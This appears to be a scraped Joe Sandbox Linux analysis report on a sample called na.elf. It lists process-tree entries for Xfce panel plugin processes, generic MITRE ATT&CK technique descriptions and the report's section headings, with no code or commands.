MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	15:34:15
Start date (UTC):	14/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	15:34:15
Start date (UTC):	14/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	15:34:15
Start date (UTC):	14/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	15:34:15
Start date (UTC):	14/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	15:34:15
Start date (UTC):	14/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	15:34:15
Start date (UTC):	14/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	15:34:15
Start date (UTC):	14/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	15:34:15
Start date (UTC):	14/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	15:34:15
Start date (UTC):	14/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	15:34:15
Start date (UTC):	14/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	15:34:15
Start date (UTC):	14/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report na.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: na.elf PID: 5496, Parent PID: 5414

General

Chronological Activities

Analysis Process: na.elf PID: 5498, Parent PID: 5496

General

Chronological Activities

Analysis Process: na.elf PID: 5500, Parent PID: 5498

General

Chronological Activities

Analysis Process: na.elf PID: 5502, Parent PID: 5498

General

Chronological Activities

Linux Analysis Report
na.elf